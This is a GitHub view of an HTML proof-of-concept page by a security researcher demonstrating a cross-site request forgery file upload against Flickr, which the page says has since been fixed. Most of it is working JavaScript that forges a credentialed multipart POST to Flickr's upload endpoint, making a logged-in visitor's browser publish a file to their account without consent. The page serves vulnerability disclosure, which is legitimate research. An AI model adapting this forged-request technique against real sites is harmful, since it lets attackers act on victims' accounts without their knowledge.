Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
131 lines (113 sloc) 4.02 KB
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8 />
<link href='http://fonts.googleapis.com/css?family=Inconsolata' rel='stylesheet' type='text/css'>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
<style>
body {background: #333; color: #eee; font-family: 'Inconsolata', Verdana, sans-serif;}
a:link {color: green; }
a:visited {color: darkgreen;}
</style>
</head>
<body>
<h1>Flickr.com CSRF arbitrary file upload</h1>
<p>by <a rel="me" href="http://blog.kotowicz.net">Krzysztof Kotowicz</a> | <a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html">More info</a></a></p>
<p>This does not work anymore! Flickr.com fixed the issue - see <a href="http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html">blog post</a> for details.</p>
<h2>Step 1</h2>
Log in into <a href="http://flickr.com">flickr.com</a> (skip this if you use 'remember me' feature)
<h2>Step 2</h2>
<button type="button" id="upload" onclick="start()"><font size="+2">Let's have some fun!</font></button>
<script>
var logUrl = 'http://up.flickr.com/photos/upload/transfer/';
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
function toBytes(datastr) {
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
return ui8a.buffer;
}
if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
this.send(toBytes(datastr));
}
}
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "9849436581144108930470211272",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
done: 1,
complex_perms: 0,
magic_cookie: "8b84f6a5d988b5f3a1be31c841042f41",
tags: "",
is_public_0: 1,
safety_level: 0,
content_type: 0,
Submit: "UPLOAD"
}
var fileFieldName = "file1";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg); // display response.
}
} else if (xhr.status == 0) {
$("#goto").show();
}
}
}
var body = "";
for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
c += "Content-Type: image/png\r\n\r\n";
c += value + "\r\n";
return c;
}
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
//XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) return '';
var bytes = Array.prototype.map.call(req.responseText, byteValue);
return String.fromCharCode.apply(this, bytes);
return req.responseText;
}
var start = function() {
var c = load_binary_resource('html5.png');
fileUpload(c, 'html5.png');
};
</script>
</div>
<div id="goto" style="display:none">
<h2>Step 3</h2>
Done! <a href="http://flickr.com">see for yourself!</a>
</div>
</body>
</html>